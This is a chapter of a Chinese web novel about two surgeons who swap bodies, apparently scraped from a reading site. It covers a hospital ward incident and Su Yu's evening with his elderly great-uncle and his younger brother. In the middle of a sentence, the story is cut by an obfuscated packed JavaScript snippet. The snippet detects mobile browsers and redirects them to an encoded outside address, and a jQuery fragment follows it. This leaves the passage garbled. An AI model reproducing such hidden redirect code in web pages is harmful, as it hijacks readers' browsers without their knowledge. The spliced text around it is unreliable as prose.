“田螺姑娘”陆回舟在一整栋楼的围观和数声“陆医生小心”的好心提醒下,攀着梯子下了树,面无表情。
石峥嵘神色却异常复杂:“对不起,老师,我太慢了。”
竟然害他沉毅冷峻的老师在树上挂了半天!
陆回舟什么话也没说,听见楼上病区骚乱,先大步上楼去看情况。
“主任,检查过了,就是受了点惊吓,没大碍。”梁乐床前,值班医生向他汇报。
陆回舟看向床上的梁乐,少年看他一眼,移开视线,嘴里低声吐出两个字:“谢谢。”
“主任,您的脸,还有手——”一个护士忽然出声,众人都看向陆回舟,包括陆回舟自己。
脸他没在意,他抬起右手,看见虎口至掌心划破了一道裂口,不知破了多久,血已经止住了,随他牵拉,又有渗出的迹象。
那个最先发现的护士反应很快,已经端了托盘来,“主任,这得消消毒,包扎一下。”
陆回舟首肯,伸出手来任她处理。
梁乐躺在病床上,隔着大人们的腰和肚子,从空隙间看着那只修长但染血的手,不自觉咬住嘴唇。
众人都看着陆回舟,唯独杨大爷注意到梁乐,他看那孩子一眼,又看向陆回舟:“陆医生,乐乐知道错了,这孩子,他原来是想出去打个电话。”
“电话我们护士站不是有吗?”护士气呼呼开口。
“这不……你们那电话是办正事的嘛。”老大爷像回护孙子一样回护梁乐。
梁乐却忽然硬邦邦开口:“我错了,对不起。”
他这样直截了当认错,护士反而怔了下,不好再说什么。
梁乐本性不坏,经常帮老杨读报、打水,病房里哪个老人行动不便的,他遇见也都搭把手。
小孩儿就是太倔了,但他的身世护士们知道,再说正值青春期,整天被拘在这里,身体不适,精神苦闷,也确实可怜。
“以后可不能再这样了。”护士说,“要不是有陆主任,你今天多危险。”
她说着,看了眼陆回舟,脸微微发热。陆主任刚才太帅了!
陆回舟没留意护士的注视,他看向窗外的树,大致推测出发生了什么。
手包扎完,他吩咐梁乐“有不舒服按铃”,驱散看热闹的病人和家属,走向办公室。
刘滔亦步亦趋,跟在他后面。
陆回舟终于注意到他,回过头来:“什么事?”
他问得有些怪,但刘滔沉浸在自己的纠结里,也没太在意:“陆医生,我觉得你不是那种人。”
哪种人?
陆回舟沉默不语。
“我爸的事儿,等病理结果出来再看吧。”刘滔说着,看了眼陆回舟裹着纱布的手和沾了枯枝烂叶的衣服,“不早了,陆医生你赶紧下班。”
陆医生并没有听他的赶紧下班。
他回到办公室,让石峥嵘把这两天的病房记录拿来,逐一翻看了一遍,又看了今天下午苏煜的门诊记录,从他潦草的字迹中辨认他的处置和医嘱。
检查过记录,他又顺手打开自己放在桌上的笔记本。
打开一瞬他便意识到没有必要,在本子上整理记录病案只是他个人的习惯,苏煜当然不会在这里记什么。
但既已打开,陆回舟还是翻到了最新一页。
那一页果然仍保留着之前的样子。
陆回舟正要合上本子,却看到纸张背面隐隐透出笔迹。
他往后翻了一页,条纹本面上,多出一个圆珠笔画的速写半身像来。
是陆回舟自己。
画像逼真,只是鼻梁上多了眼镜,手里多了根教鞭,头顶上,长了两只犄角。
这般大才,干医生真是委屈了他。
“老师?”石峥嵘忽然敲门,“这是您要的资料。”
陆回舟下意识合上本子:“放桌上。”
“是。”石峥嵘奇怪地看他和他按着的本子一眼,把资料放桌子上,退出房间。
哪里不对,但哪里又对了:老师的办公桌又整洁了,一支笔、一页纸都没乱放,规规矩矩待在它们该待的地方,两摞资料高度相当,四角整齐,没有一丝歪斜,整齐得让人看一眼都忍不住缩手缩脚……
陆回舟收起本子,没有再看,但他也一反常态,没有投入工作,而是双目投向空处,蹙眉沉思。
回来前,他似乎吃错了什么东西。
过敏反应可轻可重,但愿他没给苏煜带来太大麻烦……
*
吃药及时,苏煜过敏反应不大,第二天早起红疹退了,他照常去上班。
医院也没什么特殊情况,就是周从云看他的眼神总有些谨小慎微,让他很不习惯,骂了他两句,他才正常起来。
还有一个不正常的,就是周从云排手术,竟然给他排了一堆一助、二助,苏煜差点发飙,知道是“他”自己要求的,才咬牙认了。
谁让老古董不会用机器人。
虽然他已经穿回来了,但,谁知道还会不会换呢?
再等等好了。苏煜不引人注意地看了眼自己的手——反正不做助手,他也没手术做。
做个助手,保持下手感也好。
苏煜理智想着,但这种理智很快就烟消云灭。
他当了一天的助手,干了一天枯燥无聊的杂活儿,甚至还被程覃指挥得团团转。
憋着火捱到下班,苏煜头也不回走出医院。
“怎么忽然过来了?”听见书房门响,苏家大伯回头看见是苏煜,既惊喜又诧异。
“今天下班早。”苏煜说了声,看了眼大伯气色,又看向他的书桌:“喝的是什么?”
老爷子八十多了,痛风、高血压一堆毛病,但他是个书画大家,还有个无酒不成书的旧毛病,写字画画时就好喝两口,家里人防都防不住。
“米酒。”看苏煜端起他的酒盅查验,老爷子不高兴,“一点儿度数没有,喝个安慰。”
闻着确实是米酒,苏煜过敏,也没法儿尝,勉强放过了。
“血压量没量?”他熟练翻出血压仪,往老爷子胳膊上套。
“早上刚量过。”量过归量过,苏煜不放心,老爷子就任他折腾,老神在在坐在圈椅上打量他,“你怎么了?”
“没怎么。”苏煜专心看着血压计上的计数。
“什么没怎么,你心里一有事儿就爱瞎折腾。”
“谁瞎折腾……”苏煜咕哝了句,把血压计拆了,又把老爷子吃的药都翻出来检查了个遍,看哪样快没了,在脑子里记下来,明天给他补上。
“药我有数,没了找你,你到底怎么了?”老爷子问。
“没怎么,做了个梦。”苏煜低着头说,“梦见我穿越了,以为回不来,再也见不着您了。”
就这?老爷子笑眯眯,略带点儿得意:“多大个人了,还离不开我一老头儿?不行下回你带我一块儿穿。”
“行。”苏煜扯了下嘴角,“问题是我还做不做得出这个梦。”
他说着,翻药的动作顿了顿,人有些出神。
“除了做梦,还有什么?”老爷子又问。
“还能有什么?”苏煜回过神来,“您就不能盼我点儿好?”
“臭小子,我不盼你好谁盼你好。”老爷子数落着他,看他蹲在地上一样一样装药,眼底却闪过心疼,“听说那家人又去医院闹事了?”
苏煜动作又顿了顿。“您消息还挺灵。”
连他都是今天才知道。
“我有内线。”老爷子玩笑,眼里却有几分认真,“要不咱转行吧?”
“你方叔叔不是在卫健委嘛,他们部门明年初要招人,咱也不走后门,你就正儿八经去考,还不一考一个准?”
“您挺看得起我。”苏煜左耳进右耳出,随口搪塞。
“要不去你大堂哥公司也行,你就把管公司当治病,看哪儿不好就把哪儿修理修理。”
“行。”苏煜一乐,“哪天我执照真被吊销了,我就祸祸他们去。”
“臭小子,净跟我嬉皮笑脸。”老爷子说着,看见蹲着的苏煜撑了下柜子才站起来,心里老大不舒服,“大伯是认真劝你,就你这身体,本来也不适合——”
“就我什么身体?”苏煜挑挑眉。
好嘛,说错话了。
这孩子打小倔得厉害,体质不好还不服输。
从懂事起就铁了心要锻炼身体,先是游泳,小破体格硬是拿了个市季军回来,拿完热度退了,又陆陆续续迷上马拉松、攀岩、射箭,还有什么巴西柔术……
虽然都是三分钟热度,玩玩就放,身体倒真锻炼得不错,可这车祸一出,全完蛋了,一朝回到解放前。
老爷子心是这么想,话却不敢这么说:“就你这么健壮的身体,干医生多屈才?”
苏煜“哼”了声,把药和血压计都给他放回原处:“您老不用想那么多,我可以转行,但得是我自己想转,我这么多年武功,不可能因为别人几句闲话就废了,他们算老几?”
不算老几,但是憋屈。
老爷子还想说什么,对上苏煜那双倔强的眼睛,到底住了口。
等苏煜转头去接电话,老头儿憋屈地拿起毛笔,在纸上画了个小人儿,又给他配了把大剑:“武功?看把你能的,你怎么不去华山论剑……”
他嘟囔着,想了会儿,又远远在纸那头画了个形容奇丑的老太婆,奋力给她打了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338905|167816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个大叉。
苏煜接完电话,看老头儿在专心画画,没再进去打扰。交代保姆盯着他别喝酒,苏煜转过身离开,眼睛沉了沉。
其实他真想过转行,甚至想过当个流浪汉,每天屁也不干,就晒晒太阳发发汗。
可想来想去,那些不是他想要的生活。
他想要的……苏煜也说不清自己想要什么。
小时候他想要很健康很优秀,觉得这样他妈就不生气了,会回家来。
后来他务实了,去做很多事开发很多爱好,想填满生活的空白。
但生活不知道怎么搞的,好像一片无边的旷野,他越填,它越旷。
直到他有了目标,做了医生,手握手术刀,心无旁骛完成一台台手术,他才真正感觉踏实。
只是现在,这种踏实岌岌可危。苏煜攥了下手指,面无表情,走出门去。
*
苏煜接的是顾子尧的电话,拖油瓶电话轰炸,核心主旨是叫他回去吃饭。
饭是四菜一汤,都照顾了苏煜的饮食标准,苏煜打眼一看就知道了。“做一两个菜我吃就行,小孩儿还要长身体。”他交代冯姨。
顾子尧受宠若惊:“不要紧,哥你吃的我都爱吃!”
他说着,表忠心似的夹了一筷子寡淡的青菜,咀嚼两下,神色扭曲吞下去。
妈呀,任务艰巨,儿想撤。
苏煜看他一眼,起身从苏明皓的储备粮里翻了罐牛肉酱出来,拧开递给他。
顾子尧感激涕零:亲哥!
“凑合一周。”吃完饭,苏煜把自己的台灯拿到顾子尧房间给他架好,盯着他打开作业本。
“不凑合,哥。”顾子尧想也不想答,“我巴不得离开爸妈,你不知道妈有多唠叨。”
嗯,确实不知道。苏煜冷着脸,伸手帮他调了下台灯的光线。
“不光唠叨,脾气还老大,她一盯我写作业,我脑子都吓得不能动。”
“不能动还是懒得动?”苏煜没好气地撸了把他脑袋,站起身来,“写吧,写完有不会的一起问我。”
他说着,走出顾子尧房间,关门时看了台灯下的小孩儿一眼。
这小子大概想象不到,有人写作业的时候,还挺盼着被唠叨。
苏煜上小学前,安琳有天突然通知他,她跟他爸已经离了婚,然后她抱了抱他,就带着收拾好的行李离开了家门。
苏煜发着懵,追出一趟街,摔得鼻青脸肿,却只能看着她的出租车汇入主干道,融入车海,再也没有回头。
苏煜从一年级起就是一个人写作业,那时候他跟他爸住的老楼隔音不好,一到晚上,他常听见别人家的妈唠叨,有时还是吼叫。
他没有人吼叫,故意把作业做烂都没有。他爸除了上班,就是闷在自己房间发呆、喝酒或者写他那谁也不知道是什么的东西,完全沉浸在自己的世界里,很少想起还有他这么个儿子。
苏煜要想被唠叨被吼,得靠关了灯缩在床上想象。
“哥你吃药!”顾子尧忽然开门蹿出房间,大声提醒他。
“知道。”苏煜答了声,合上他房门回到自己房间,挺老实,倒了过敏药来吃。
吃完他看了眼自己光洁干净能摔死苍蝇的书桌,和桌上打开的书:《机器人泌尿外科手术学》。
五百多页的书,已经翻看到四百页。
求知欲挺旺盛。苏煜扯了下唇角,把趴在脚下的元宝抱到膝头:“他看书到几点?有没有按时喂你?”
元宝不作答,躺倒让他给顺毛,温热的肚皮起伏,发出两声“呼噜”,舒服地闭上眼睛。
“不知道梁乐那小孩儿怎么样了。”苏煜自言自语,“还有刘青他儿子,我撤了,他会不会为难师祖?”
“我给他惹了麻烦……”
“但是他也给我惹了麻烦。”苏煜抓了抓过敏的红点子,“我们应该算扯平?”
元宝“呜呜”了一声,仿佛在赞同他的话。
苏煜安静下来,手贴着它的背,抓了抓它的毛:“我在想着师祖,但师祖很看不上我吧?脾气急,没礼貌,还——”
苏煜扫了眼整齐得大变样的卧室,“还不讲卫生。”
元宝转头舔了舔他的手。
“嗯,没错,我还有你。”苏煜弯起唇角,又缓缓放平,“元宝,我有时候觉得全世界只有我一个人……”
他自言自语着,翻了两页桌上的书,眼皮发沉。
就在他眼皮合上的一瞬,意识乍然抽离了皮囊。
恍恍惚惚,又来到一间熟悉的书房。
“师祖。”他不由出声。
伏案工作的陆回舟顿住笔,镇静抬起头,声线低沉醇和:“来了?”